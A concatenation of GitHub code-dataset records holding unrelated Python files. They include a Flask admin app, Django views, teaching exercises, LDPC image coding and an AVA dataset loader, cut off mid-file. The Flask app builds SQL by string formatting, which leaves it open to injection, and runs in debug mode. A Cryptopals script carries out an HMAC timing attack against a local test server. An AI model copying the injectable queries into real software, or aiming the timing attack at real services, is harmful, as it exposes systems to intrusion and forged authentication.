Define the columns that should trigger update query 1\n update_query1_columns = ['Agiblockversion', 'Pluginversion', 'DateofUpgrade']\n\n # Define the columns that should trigger update query 2\n update_query2_columns = ['Masterdata', 'Basiscost', 'Businesscentralplaceholderapi', 'Certificates', 'Costofcarry', 'Derivativesintegration', 'Mailer', 'Marketprices', 'Notification', 'Propertycalculator', 'Purchaseallocation', 'Salesallocation', 'Sampling', 'Scaletickets', 'Selfbilling', 'Scheduler', 'Reporting', 'Transportorders', 'MessageOrchestration', 'Selfbillingreporting']\n \n for key, value in form_data.items():\n if value.lower() in ('true', 'false'):\n boolean_columns.append(key)\n boolean_values.append(value.lower() == 'true')\n elif key in update_query1_columns:\n non_boolean_columns.append(key)\n non_boolean_values.append(value)\n\n # Construct the SQL UPDATE statements\n with conn.cursor() as cursor:\n\n refresh_query = \"SELECT * FROM [dbo].[application-plugin-table] OPTION (LABEL='BeforeUpdate');\"\n cursor.execute(refresh_query)\n\n # Define the columns that should trigger update query \n if any(col in boolean_columns for col in update_query2_columns):\n update_query = \"UPDATE [dbo].[application-plugin-table] SET \"\n \n for i in range(len(boolean_columns)):\n column = boolean_columns[i]\n if boolean_values[i]:\n update_query += \"{} = 'true'\".format(column)\n else:\n update_query += \"{} = 'false'\".format(column)\n if i < len(boolean_columns) - 1:\n update_query += \", \"\n \n update_query += \"from [dbo].[application-plugin-table] a join [dbo].[application-upgrade-table] x on a.customer = x.customer and a.env = x.env WHERE x.Cust = '{}' AND x.Env = '{}'\".format(customer, env)\n \n cursor.execute(update_query)\n conn.commit()\n\n refresh_query = \"SELECT * FROM [dbo].[application-upgrade-table] OPTION (LABEL='BeforeUpdate');\"\n cursor.execute(refresh_query)\n\n # Define the columns that should trigger update query 1\n if any(col in non_boolean_columns for col in update_query1_columns):\n update_query = \"UPDATE [dbo].[application-upgrade-table] SET \"\n\n for i in range(len(update_query1_columns)):\n column = update_query1_columns[i]\n index = non_boolean_columns.index(column)\n value = non_boolean_values[index]\n\n if column == \"DateofUpgrade\":\n value = datetime.strptime(value, \"%Y-%m-%dT%H:%M\")\n\n update_query += \"{} = '{}'\".format(column, value)\n\n if i < len(update_query1_columns) - 1:\n update_query += \", \"\n\n update_query += \" WHERE Cust = '{}' AND Env = '{}'\".format(customer, env)\n\n # Prompt the user for confirmation before executing the update statement\n flash('Please confirm the following changes:')\n flash('- Customer: {}, Env: {} will be upgraded to Agiblockversion: {} and Pluginversion: {}'.format(customer, env, form_data['Agiblockversion'], form_data['Pluginversion']))\n flash('- Upgrade date: {}'.format(form_data['DateofUpgrade']))\n\n # Check if any boolean columns were added or removed\n existing_columns = [col for col in boolean_columns if results[0][col]]\n added_columns = [col for col in boolean_columns if col not in existing_columns and boolean_values[boolean_columns.index(col)]]\n removed_columns = [col for col in existing_columns if col not in boolean_columns or not boolean_values[boolean_columns.index(col)]]\n columns_list = ['Agiblockversion', 'Pluginversion', 'DateofUpgrade'] + boolean_columns\n if added_columns:\n flash('- The following plugins were {}{}'.format('added: ' if added_columns else '', ', '.join(added_columns) if added_columns else '')) \n if removed_columns:\n flash('- The following plugins were {}{}'.format('removed: ' if removed_columns else '', ', '.join(removed_columns) if removed_columns else ''))\n \n updated_values = {}\n for column_name in columns_list:\n if column_name == 'DateofUpgrade':\n updated_values[column_name] = request.form[column_name]\n elif column_name in ['Agiblockversion', 'Pluginversion']:\n updated_values[column_name] = request.form[column_name]\n else:\n updated_values[column_name] = True if request.form.get(column_name) else False \n cursor.execute(update_query)\n conn.commit()\n return render_template('confirm_update.html', updated_values=updated_values)\n \n # Redirect the user back to the search page\n return redirect('/')\n\nif __name__ == '__main__':\n # Debug/Development\n app.run(debug=True, host=\"0.0.0.0\", port=\"5000\")\n # Production \n http_server = WSGIServer(('', 5000), app)\n http_server.serve_forever()","repo_name":"destroyogi/tp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12570690745","text":"#!/usr/bin/python\nimport sys\nimport os\n\nread, write = os.pipe()\n\npid = os.fork()\nif pid:\n # Proceso padre\n os.close(read)\n fh = os.fdopen(write, 'w')\n fh.write(\"Hola mijito!\")\n sys.exit(0)\nelse:\n # Proceso hijo\n os.close(write)\n fh = os.fdopen(read)\n print('Dice papi que: ', fh.read())\n sys.exit(0)\n","repo_name":"unamfi/sistop-2021-1","sub_path":"ejemplos_en_clase/3_Sistemas_de_archivos/uso_de_pipe.py","file_name":"uso_de_pipe.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38460291696","text":"from django.shortcuts import redirect, render\r\nfrom akun.models import pelanggan\r\nfrom akun.forms import *\r\nfrom bs_admin.models import barang, jasa, servis\r\nfrom bs_admin.forms import FormLhtServis\r\nfrom .decorators import pelanggan_area\r\n\r\n@pelanggan_area\r\ndef index(request):\r\n context = {\r\n 'judul' : 'Bali Soket Informindo',\r\n 'heading' : 'Selamat Datang',\r\n }\r\n return render(request,'index.html',context)\r\n\r\n@pelanggan_area\r\ndef servis_plg(request):\r\n srv = request.user.pelanggan.servis_set.all()\r\n \r\n context = {\r\n 'judul' : 'Bali Soket Informindo',\r\n 'heading' : 'Servis Saya',\r\n 'srv' : srv,\r\n }\r\n return render(request,'data_servis.html',context)\r\n\r\n@pelanggan_area\r\ndef lihat_servis(request, id_srv):\r\n srv = servis.objects.get(id=id_srv)\r\n if request.method == \"POST\":\r\n form = FormLhtServis(request.POST, instance=srv)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('bs_admin:data_servis')\r\n else:\r\n form = FormLhtServis(instance=srv)\r\n\r\n context = {\r\n 'judul' : 'Bali Soket Informindo',\r\n 'heading' : 'Detail Servis',\r\n 'form' : form,\r\n }\r\n\r\n return render(request, 'detail_servis.html', context)\r\n\r\n@pelanggan_area\r\ndef brg_jasa_plg(request):\r\n\r\n brg = barang.objects.all()\r\n js = jasa.objects.all()\r\n\r\n context = {\r\n 'judul' : 'Bali Soket Informindo',\r\n 'heading' : 'Barang dan Jasa Servis',\r\n 'brg': brg,\r\n 'js': js,\r\n }\r\n return render(request,'data_barang_jasa.html',context)","repo_name":"WahyuArtha/Sistem-Pengelolaan-Data-Servis-Laptop","sub_path":"sipds_bali_soket/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37147897353","text":"\"\"\"\n[Easy]\nGiven an array of time intervals (start, end) for classroom lectures (\npossibly overlapping), find the minimum number of rooms required.\n\nFor example, given [(30, 75), (0, 50), (60, 150)], you should return 2.\n\"\"\"\n\n\ndef find_min_rooms(ta):\n ta = sorted(ta, key=lambda x:x[0])\n rooms = []\n for time_interval in ta:\n if len(rooms) == 0:\n new_room = [time_interval]\n rooms.append(new_room)\n else:\n need_new_room = True\n for room in rooms:\n if time_interval[0] > room[-1][1]:\n room.append(time_interval)\n need_new_room = False\n break\n else:\n for time_indics in range(len(room)-1):\n if time_interval[0] > room[time_indics][1] and time_interval[1] < room[time_indics+1][0]:\n room.insert(time_interval, time_indics+1)\n need_new_room = False\n break\n if not need_new_room:\n break\n if need_new_room:\n rooms.append([time_interval])\n\n print(rooms)\n return len(rooms)\n\n\nta = [(30, 75), (0, 50), (60, 150), (52, 58), (80, 90), (10, 20)]\nrooms_count = find_min_rooms(ta)\nprint(rooms_count)\n\n","repo_name":"feng-yu/june-2019","sub_path":"june2019/june8.py","file_name":"june8.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8054288435","text":"from datetime import date\n\natual = date.today().year\nmaior = 0\nmenor = 0\n\nfor c in range(1,8):\n nasc = int(input('Diga o ano de seu nascimento: '))\n if atual - nasc >= 18:\n maior = maior + 1\n else:\n menor = menor + 1\nprint('Há {} que atingiram e {} que não'.format(maior, menor))\n","repo_name":"orvituhgo/exercicios-python","sub_path":"Python - Guanabara/Exercícios/06 - Repetições em Python (for)/ex054.py","file_name":"ex054.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"309076256","text":"#!/usr/bin/env python\r\n# Written against python 3.3.1\r\n# Matasano Problem 32\r\n# Break HMAC-SHA1 with a slightly less artificial timing leak.\r\nfrom prob1 import rawToHex\r\nimport threading\r\nimport webserver\r\nimport time\r\nimport socket\r\nimport os\r\nfrom prob17 import setByte\r\n\r\n# .005: Would get the first four right\r\n# .001: Got the first one wrong\r\n# My response: raise iteration count to 10 -- would still get first one wrong\r\n# raise to 20: would get first one wrong\r\n# raise to 50: Seems to be working again\r\nDELAY = .001\r\n \r\ndef startserver(delay):\r\n server_thread = threading.Thread(target=webserver.start_server, args=[delay])\r\n server_thread.start(); \r\n\r\n# Using the timing leak in this application, write a program that\r\n# discovers the valid MAC for any file. \r\ndef discover_mac(message):\r\n guess_mac = b'\\x00' * 20;\r\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM);\r\n sock.connect(('127.0.0.1', 9000))\r\n for i in range(20):\r\n nextbyte = guess_byte(sock, message, i, guess_mac);\r\n guess_mac = setByte(guess_mac, i, nextbyte);\r\n print (rawToHex(guess_mac));\r\n return guess_mac;\r\n\r\n\r\ndef guess_byte(sock, message, index, guess_mac, numtrials=50):\r\n timings = [0]*256;\r\n # try each byte at the index\r\n for i in range(256):\r\n this_guess = setByte(guess_mac, index, i);\r\n url = b'test?file=' + message + b'&signature=' + rawToHex(this_guess) + b'\\n';\r\n start = time.perf_counter()\r\n for j in range(numtrials):\r\n sock.send(url); \r\n data = sock.recv(1024)\r\n stop = time.perf_counter()\r\n timings[i] = stop - start;\r\n # assume the largest timing is the right one\r\n value = timings.index(max(timings));\r\n print(\"index: \" + str(index) + \" : value: \" + hex(value));\r\n return value;\r\n\r\n \r\n\r\n\r\ndef do32():\r\n startserver(DELAY);\r\n #known answer: b'6262261f054f0a17dfa68d87bf64f5416c128340'\r\n discover_mac(b'Mary had a little lamb');\r\n\r\n\r\nif __name__ == \"__main__\":\r\n do32();\r\n os._exit(0);","repo_name":"reschly/cryptopals","sub_path":"prob32.py","file_name":"prob32.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"29"} +{"seq_id":"73360419673","text":"import numpy as np\nfrom .utils_img import (bin2gray, bin2rgb)\nfrom .encoder import encode\nfrom .decoder import get_message, decode\nfrom .utils import check_random_state\nimport warnings\n\n\ndef encode_img(tG, img_bin, snr, seed=None):\n \"\"\"Encode a binary image and adds Gaussian white noise.\n\n Parameters\n ----------\n tG: array (n, k). Coding matrix. `k` is the number of bits to be coded.\n `n` is the length of the codewords.\n img_bin: array (height, width, depth). Binary image.\n snr : float. Signal to noise ratio of the channel.\n seed: int. random state initialization.\n\n Returns\n -------\n coded_img: array (n, n_blocks) image in the codeword space\n noisy_img: array (height, width, k) visualization of the noisy image\n\n \"\"\"\n seed = check_random_state(seed)\n n, k = tG.shape\n\n height, width, depth = img_bin.shape\n if depth not in [8, 24]:\n raise ValueError(\"The expected dimension of a binary image is \"\n \"(width, height, 8) for grayscale images or \"\n \"(width, height, 24) for RGB images; got %s\"\n % list(img_bin.shape))\n img_bin = img_bin.flatten()\n n_bits_total = img_bin.size\n n_blocks = n_bits_total // k\n residual = n_bits_total % k\n if residual:\n n_blocks += 1\n resized_img = np.zeros(k * n_blocks)\n resized_img[:n_bits_total] = img_bin\n\n codeword = encode(tG, resized_img.reshape(k, n_blocks), snr, seed)\n noisy_img = (codeword.flatten()[:n_bits_total] < 0).astype(int)\n noisy_img = noisy_img.reshape(height, width, depth)\n\n if depth == 8:\n noisy_img = bin2gray(noisy_img)\n else:\n noisy_img = bin2rgb(noisy_img)\n\n return codeword, noisy_img\n\n\ndef decode_img(tG, H, codeword, snr, img_shape, maxiter=100):\n \"\"\"Decode a received noisy image in the codeword.\n\n Parameters\n ----------\n tG: array (n, k) coding matrix G\n H: array (m, n) decoding matrix H\n img_coded: array (n, n_blocks) image recieved in the codeword\n snr: float. signal to noise ratio assumed of the channel.\n img_shape: tuple of int. Shape of the original binary image.\n maxiter: int. Max number of BP iterations to perform.\n n_jobs: int. Number of parallel jobs.\n\n Returns\n -------\n img_decode: array(width, height, depth). Decoded image.\n\n \"\"\"\n n, k = tG.shape\n _, n_blocks = codeword.shape\n\n depth = img_shape[-1]\n if depth not in [8, 24]:\n raise ValueError(\"The expected dimension of a binary image is \"\n \"(width, height, 8) for grayscale images or \"\n \"(width, height, 24) for RGB images; got %s\"\n % list(img_shape))\n if len(codeword) != n:\n raise ValueError(\"The left dimension of `codeword` must be equal to \"\n \"n, the number of columns of H.\")\n\n systematic = True\n\n if not (tG[:k, :] == np.identity(k)).all():\n warnings.warn(\"\"\"In LDPC applications, using systematic coding matrix\n G is highly recommanded to speed up decoding.\"\"\")\n systematic = False\n\n codeword_solution = decode(H, codeword, snr, maxiter)\n if systematic:\n decoded = codeword_solution[:k, :]\n else:\n decoded = np.array([get_message(tG, codeword_solution[:, i])\n for i in range(n_blocks)]).T\n decoded = decoded.flatten()[:np.prod(img_shape)]\n decoded = decoded.reshape(*img_shape)\n\n if depth == 8:\n decoded_img = bin2gray(decoded)\n else:\n decoded_img = bin2rgb(decoded)\n\n return decoded_img\n\n\ndef ber_img(original_img_bin, decoded_img_bin):\n \"\"\"Compute Bit-Error-Rate (BER) by comparing 2 binary images.\"\"\"\n if not original_img_bin.shape == decoded_img_bin.shape:\n raise ValueError('Original and decoded images\\' shapes don\\'t match !')\n\n height, width, k = original_img_bin.shape\n\n errors_bits = abs(original_img_bin - decoded_img_bin).sum()\n errors_bits = errors_bits.flatten()\n total_bits = np.prod(original_img_bin.shape)\n\n ber = errors_bits / total_bits\n\n return(ber)\n","repo_name":"hichamjanati/pyldpc","sub_path":"pyldpc/ldpc_images.py","file_name":"ldpc_images.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"5"} +{"seq_id":"72742165273","text":"from src.Visualization import Visualization\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom matplotlib import cm\nimport glob\nimport os\nimport pathlib\n\n\nclass Visualization2D(Visualization):\n def __init__(self, sim, speed, createPngsForGif=False, showLevelValues=False):\n Visualization.__init__(self, sim, speed)\n self.hideAxis = True\n self.createPngsForGif = createPngsForGif\n if self.createPngsForGif:\n pathlib.Path(\"tmp\").mkdir(exist_ok=True)\n for f in glob.glob(\"tmp/*.png\"):\n os.remove(f)\n self.showLevelValues = showLevelValues\n self.animationIndex = 0\n\n def plotInitial(self):\n values = self.simulation.getValues()\n startposition = self.simulation.getStartposition()\n self.fig, self.ax = plt.subplots(figsize=(9, 9))\n cont = plt.contour(\n values.getX(), values.getY(), values.getZ(), levels=50, cmap=cm.jet\n )\n if self.showLevelValues:\n self.ax.clabel(cont)\n plt.scatter(\n startposition.getX(),\n startposition.getY(),\n marker=\"+\",\n color=\"k\",\n s=100,\n zorder=20,\n )\n positions = self.simulation.getPositions()\n self.sc = plt.scatter(\n [pos.getX() for pos in positions],\n [pos.getY() for pos in positions],\n color=self.colors[: len(positions)],\n s=100,\n alpha=1,\n edgecolors=\"k\",\n zorder=10,\n )\n # Plot empty plots (n-1). This is needed for correct display of labels.\n # This is all done this way because we plot all data with a single scatter-call (in order to just update this in the update-function).\n # With this single scatter-call we can only add 1 label. To create the same effect as adding multiple labels, we create empty scatter-plots and add the labels at the legend-call\n for i in range(len(positions) - 1):\n plt.scatter(\n [],\n [],\n color=self.colors[i + 1],\n s=100,\n alpha=1,\n edgecolors=\"k\",\n zorder=10,\n )\n names = self.simulation.getNames()\n plt.legend([\"Start\", *names], framealpha=1).set_zorder(100)\n plt.xlabel(\"x\")\n plt.ylabel(\"y\")\n if self.hideAxis:\n plt.axis(\"off\")\n self.ani = animation.FuncAnimation(\n self.fig, self._update, interval=500 / self.speed, blit=True\n )\n\n def _getPositionForAnimation(self):\n if self.positionsListIndex < len(self.positionsList) - 1:\n self.positionsListIndex += 1\n else:\n self.positionsListIndex = 0\n return self.positionsList[self.positionsListIndex]\n\n def _update(self, i):\n self.sc.set_offsets(\n [(pos.getX(), pos.getY()) for pos in self._getPositionForAnimation()]\n )\n if self.createPngsForGif:\n plt.savefig(f\"tmp/{self.animationIndex}.png\")\n self.animationIndex += 1\n return (self.sc,)\n\n def show(self):\n # Plot trajectories\n for i in range(len(self.positions)):\n x = [step[i].getX() for step in self.positionsList]\n y = [step[i].getY() for step in self.positionsList]\n plt.plot(x, y, color=self.colors[i], linewidth=3, alpha=0.75)\n plt.show()\n","repo_name":"christianwaldmann/optimizer-visualization","sub_path":"src/Visualization2D.py","file_name":"Visualization2D.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"20236069497","text":"# %% [markdown]\n# # Track Missing Data\n# We need a system for efficiently identifying missing data, with our initial population being the set of all completed Mini Normal games. We also want to identify _why_ a data point is missing and, when a data point is incomplete, what is present and what isn't. \n#\n# ### What kinds of missing data are there?\n# We can be missing setup/slot information, phase transition information, voting data, and/or thread content. And information can be missing because it hasn't been successfully extracted yet or because it's missing from the forum (e.g. because of a site crash). Also, rather than being present or missing, information can also instead be _inaccurate_ - but solving that problem requires an entirely different approach from that of detecting missing data, so we focus on it elsewhere. And finally, data can be undesirable - either because of a broken game (e.g. modflaking) or other issues that make inclusion in analysis difficult/unreasonable.\n#\n# ### How will we manage the prospect of missing data?\n# We'll write a script that collects a list of existing completed game threads and checks our data set for associated data, building a list marking wherever data is missing. From there, we'll maintain this list, including updating it regularly as data collection ensues and new games finish, as well as manually marking instances where data collection is impossible or undesirable.\n\n# %% [markdown]\n# ## Dependencies\n\n# %%\n# dependences\nimport requests\nimport csv\nimport string\nfrom lxml import html\n\n# needed variables\nno_punctuation = str.maketrans(string.punctuation+string.ascii_letters, ' '*len(string.punctuation+string.ascii_letters))\ncompleted_url = 'https://forum.mafiascum.net/viewforum.php?f=53&start={}'\n\nwith open('data/archive.txt') as f:\n archive = f.read()\n\n# %% [markdown]\n# ## Build List of Completed Games and Identify Those Missing from `archive.txt`\n# For now we focus solely on Mini Normals. We probably don't need this cell anymore.\n\n# %%\n# start by finding number of threads in subforum\nbase = requests.get(completed_url.format(0)).content\ntopic_count = html.fromstring(base).xpath('//div[@class=\"pagination\"]/text()')[0].strip()\ntopic_count = int(topic_count[:topic_count.find(' ')])\n\n# scrape list of game urls and titles across each page of threads\ngame_urls, game_titles = [], []\nfor i in range(0, topic_count, 100):\n page = requests.get(completed_url.format(i)).content\n \n # game titles\n titles = html.fromstring(page).xpath(\"//div[@class='forumbg']//dt/a/text()\")\n game_titles += [title.strip() for index, title in enumerate(titles) if index % 2 == 0]\n \n # game urls\n urls = html.fromstring(page).xpath(\"//div[@class='forumbg']//dt/a/@href\")\n game_urls += [url[1:url.find('&sid')] for index, url in enumerate(urls) if index % 2 == 0]\n\n# mark which of these aren't in archive\nexcluded = []\nfor index, url in enumerate(game_urls):\n count = archive.count(url[1:] + '\\n')\n if count == 0 :\n excluded.append(index)\n \n# print counts\nprint('Number of URLs:', len(game_urls))\nprint('Number of URLs Unmatched to String in Archive:', len(excluded))\nprint('Number of Games in Archive:', len(archive.split('\\n\\n\\n')))\nprint('{} threads unaccounted for!'.format(len(game_urls) - len(excluded) - len(archive.split('\\n\\n\\n'))))\nprint('Number of URLs After Excluding Duplicates:', len(list(set(game_urls))))\nprint()\n\n# %% [markdown]\n# ## Identify and Count Games Included in transitions.tsv\n# Build a list of `games` in `archive.txt` and extract the `numbers` column from `transitions.tsv`. For each archived `game`, check if its `number` is in `numbers`. If it is, then also check if any entry in the associated row has a question mark and if the last entry is a hyphen. \n#\n# From this, build lists and print counts of each archived game that 1) has a row in `transitions.tsv`, 2) has no ambiguous transition entries in their row, and/or 3) has a definitely finish entry in their row. And any other information that provides context for these counts.\n\n# %%\n# build list of games\ngames = archive.split('\\n\\n\\n')\n\n# extract game_numbers column from transitions.tsv\ntransitions, numbers = [], []\ncount = 0\nwith open('data/transitions.tsv') as f:\n for row in csv.reader(f, delimiter='\\t'):\n transitions.append(row)\n numbers.append(row[0])\n\n# check each game\nfor archive_index, game in enumerate(games):\n title = game.split('\\n')[1]\n number = [i for i in title.translate(no_punctuation).split() if i.isdigit()][0]\n url = game.split('\\n')[0]\n \n # check if its number is in extracted numbers\n if numbers.count(number) != 1:\n print('Data Not Found:', number, numbers.count(number), title)\n count += 1\n continue\n \n # check if an entry has question mark\n row_index = numbers.index(number)\n row = transitions[row_index]\n if '?' in '\\t'.join(row) or 'missing' in '\\t'.join(row).lower():\n print('Uncertainty Detected:', number, row_index+1, row)\n print(url)\n count += 1\n continue\n \n # check if an entry has completeness\n if ''.join(row).strip()[-1] != '-':\n print('Incompleteness Detected:', number, row_index+1, row)\n print(url)\n count += 1\n\nprint(count)\n\n# %%\n","repo_name":"Computational-Mafia/vca","sub_path":"workspace/archive/02_Track_Missing_Labels.py","file_name":"02_Track_Missing_Labels.py","file_ext":"py","file_size_in_byte":5298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10533072906","text":"import copy\nimport os\nimport os.path as osp\nfrom collections import defaultdict\nfrom datetime import datetime\nfrom tqdm import tqdm\n\nimport mmcv\nimport numpy as np\nfrom mmcv.utils import print_log\n\nfrom ..core.evaluation.ava_utils import ava_eval, read_labelmap, results2csv\nfrom ..utils import get_root_logger\nfrom .base import BaseDataset\nfrom .builder import DATASETS\n\n# 因为要考虑到后续会添加读取周围的 key_frames 的信息, 所以要传入数据集正常标注的信息 \n@DATASETS.register_module()\nclass AVADatasetUnlabel(BaseDataset):\n def __init__(\n self,\n ann_file_gt,\n pipeline,\n filename_tmpl=\"img_{:05}.jpg\",\n start_index=0,\n num_classes=81,\n data_prefix=None,\n modality=\"RGB\",\n timestamp_start=900,\n timestamp_end=1800,\n fps=30,\n with_gt_message=False,\n with_sample=False,\n sample_ann=None\n ):\n \"\"\"\n 1. 不考虑 testmode,\n 2. ann_file_gt 是正常标注信息, 用来给相邻的 frames 提供类别标签的约束信息\n 3. label_file 主要是用来进行测试时候使用的类别, 所以这里也不考虑使用\n 4. **暂时不考虑使用 proposal, 所以没有引入带 proposal 的设定**\n 5. exclude 也没有读入, 验证了一下 exclude 的 frame 都是没有 label 的 frame, 因此这里就不再引入了\n \"\"\"\n self._FPS = fps\n self.num_class = num_classes\n self.filename_tmpl = filename_tmpl\n self.timestamp_start = timestamp_start\n self.timestamp_end = timestamp_end\n self.ann_file_gt = ann_file_gt\n self.logger = get_root_logger()\n self.with_gt_message = with_gt_message\n self.with_sample = with_sample\n if self.with_sample:\n self.sample_ann = sample_ann\n super().__init__(\n ann_file_gt,\n pipeline,\n data_prefix,\n test_mode=False, # 因为一定是训练用, 所以写死 test_mode = False\n start_index = start_index,\n modality=modality,\n num_classes=num_classes\n )\n\n def parse_img_record(self, img_records):\n \"\"\"Merge image records of the same entity at the same time.\n Args:\n img_records (list[dict]): List of img_records (lines in AVA\n annotations).\n Returns:\n tuple(list): A tuple consists of lists of bboxes, action labels and\n entity_ids\n \"\"\"\n bboxes, labels, entity_ids = [], [], []\n while len(img_records) > 0:\n img_record = img_records[0]\n num_img_records = len(img_records)\n\n selected_records = [\n x for x in img_records\n if np.array_equal(x['entity_box'], img_record['entity_box'])\n ]\n\n num_selected_records = len(selected_records)\n img_records = [\n x for x in img_records if\n not np.array_equal(x['entity_box'], img_record['entity_box'])\n ]\n\n assert len(img_records) + num_selected_records == num_img_records\n\n bboxes.append(img_record['entity_box'])\n valid_labels = np.array([\n selected_record['label']\n for selected_record in selected_records\n ])\n\n # The format can be directly used by BCELossWithLogits\n label = np.zeros(self.num_classes, dtype=np.float32)\n label[valid_labels] = 1.\n\n labels.append(label)\n entity_ids.append(img_record['entity_id'])\n\n bboxes = np.stack(bboxes)\n labels = np.stack(labels)\n entity_ids = np.stack(entity_ids)\n return bboxes, labels, entity_ids\n\n def load_annotations(self):\n if self.with_sample:\n sample_video_frames = {}\n with open(self.sample_ann, \"r\") as fin:\n for lin in fin:\n line_split = line.strip().split(\",\")\n video_id = line_split[0]\n timestamp = line_split[1]\n if not sample_video_frames.get(video_id, False):\n sample_video_frames[video_id] = {}\n if not sample_video_frames[video_id].get(timestamp, False):\n sample_video_frames[video_id][timestamp] = True\n\n # 首先 load gt 的信息\n gt_video_infos = []\n gt_records_dict_by_img = defaultdict(list)\n with open(self.ann_file_gt, \"r\") as fin:\n for line in fin:\n line_split = line.strip().split(',')\n label = int(line_split[6])\n\n video_id = line_split[0]\n timestamp = int(line_split[1])\n\n img_key = f'{video_id},{timestamp:04d}'\n\n entity_box = np.array(list(map(float, line_split[2:6])))\n try:\n entity_id = int(line_split[7])\n except:\n entity_id = 0\n shot_info = (0, (self.timestamp_end - self.timestamp_start) *\n self._FPS)\n \n video_info = dict(\n video_id=video_id,\n timestamp=timestamp,\n entity_box=entity_box,\n label=label,\n entity_id=entity_id,\n shot_info=shot_info)\n gt_records_dict_by_img[img_key].append(video_info)\n \n for img_key in gt_records_dict_by_img:\n video_id, timestamp = img_key.split(',')\n bboxes, labels, entity_ids = self.parse_img_record(gt_records_dict_by_img[img_key])\n ann = dict(\n gt_bboxes=bboxes, gt_labels=labels, entity_ids=entity_ids\n )\n frame_dir = video_id\n if self.data_prefix is not None:\n frame_dir = osp.join(self.data_prefix, frame_dir)\n video_info = dict(\n frame_dir = frame_dir,\n video_id = video_id,\n timestamp = int(timestamp),\n img_key = img_key,\n shot_info = shot_info,\n fps = self._FPS,\n ann = ann\n )\n gt_video_infos.append(video_info)\n \n # 2022.2.20 add: former_gt_bboxes, former_gt_labels, later_gt_bboxes, later_gt_labels\n # 统计前后的 gt 信息\n if self.with_gt_message:\n gt_video_frame2anns = dict()\n for i in range(len(gt_video_infos)):\n gt_video_info = gt_video_infos[i]\n video_id, timestamp = gt_video_info[\"video_id\"], gt_video_info[\"timestamp\"]\n ann = gt_video_info[\"ann\"]\n gt_bboxes, gt_labels = ann[\"gt_bboxes\"], ann[\"gt_labels\"]\n\n if not gt_video_frame2anns.get(video_id, False):\n gt_video_frame2anns[video_id] = dict()\n gt_video_frame2anns[video_id][timestamp] = {\n \"gt_bboxes\": gt_bboxes,\n \"gt_labels\": gt_labels\n }\n\n\n\n\n # 根据 gt_video_infos 进行 video_id, img 的 label 的统计\n # {video_id:{frame: label}} dict -> dict -> list 的格式\n gt_video_frame2multi_label = dict()\n for video_info in gt_video_infos:\n video_id, timestamp = video_info[\"video_id\"], video_info[\"timestamp\"]\n gt_labels = video_info[\"ann\"][\"gt_labels\"]\n if not gt_video_frame2multi_label.get(video_id, False):\n gt_video_frame2multi_label[video_id] = dict()\n gt_video_frame2multi_label[video_id][timestamp] = (gt_labels.sum(axis=0) > 0).astype(np.float32)\n\n \"\"\"\n 开始 load unlabel 部分的数据\n 需要的参数:\n frame_dir, video_id, img_key, timestamp, 并不是很需要 timestamp_start, shot_info 甚至是 ann 等信息, 并且只需要指定图片即可\n 新添加的参数: \n multi_label_restriction: 前一帧以及后一帧的 gt_multi_label 的并集. 根据逻辑两者一定存在一个, 如果一者不存在则忽略掉\n 不需要 ann_file, 只需要根据将 keyframe 的前 14 帧, 后 15 帧的信息记录下来即可\n\n 2022.2.20 add: former_gt_bboxes, former_gt_labels, later_gt_bboxes, later_gt_labels\n \"\"\"\n video_infos = []\n for video_info in tqdm(gt_video_infos):\n frame_dir, video_id, timestamp = video_info[\"frame_dir\"], video_info[\"video_id\"], video_info[\"timestamp\"]\n current_multi_label = gt_video_frame2multi_label[video_id][timestamp] # 获取当前帧的 multi_label 信息\n center_index = (timestamp - self.timestamp_start) * self._FPS + 1\n begin_index = center_index - self._FPS//2 + 1\n end_index = center_index + self._FPS//2\n\n if self.with_sample:\n if not sample_video_frames.get(video_id, False):\n continue\n if not sample_video_frames[video_id].get(str(timestamp), False):\n continue\n \n if self.with_gt_message:\n current_gt_ann = gt_video_frame2anns[video_id][timestamp]\n current_gt_bboxes, current_gt_labels = current_gt_ann[\"gt_bboxes\"], current_gt_ann[\"gt_labels\"]\n # 对 begin_index ~ center_index - 1 范围的帧的 label restriction \n # 向前找 multi_label 信息\n former_multi_label = gt_video_frame2multi_label[video_id].get(timestamp - 1, None)\n if former_multi_label is not None:\n multi_label_restriction = np.logical_or(current_multi_label, former_multi_label).astype(np.float32)\n if self.with_gt_message:\n former_gt_ann = gt_video_frame2anns[video_id].get(timestamp -1 , None)\n former_gt_bboxes, former_gt_labels = former_gt_ann[\"gt_bboxes\"], former_gt_ann[\"gt_labels\"]\n else:\n multi_label_restriction = current_multi_label\n if self.with_gt_message:\n former_gt_bboxes, former_gt_labels = np.zeros((0, 4)), np.zeros((0, 81))\n for frame_index in range(begin_index, center_index):\n video_info = dict(\n frame_dir = frame_dir,\n video_id = video_id,\n timestamp = frame_index, # 这里是真实的 frameindex, 不是 / FPS 之后的 timestamp\n img_key = f\"{video_id},{frame_index}\", # 因为不使用 proposal 了, 这里没什么意义\n multi_label_restriction = multi_label_restriction\n )\n if self.with_gt_message:\n video_info[\"former_gt_bboxes\"] = former_gt_bboxes\n video_info[\"former_gt_labels\"] = former_gt_labels\n video_info[\"later_gt_bboxes\"] = current_gt_bboxes\n video_info[\"later_gt_labels\"] = current_gt_labels\n 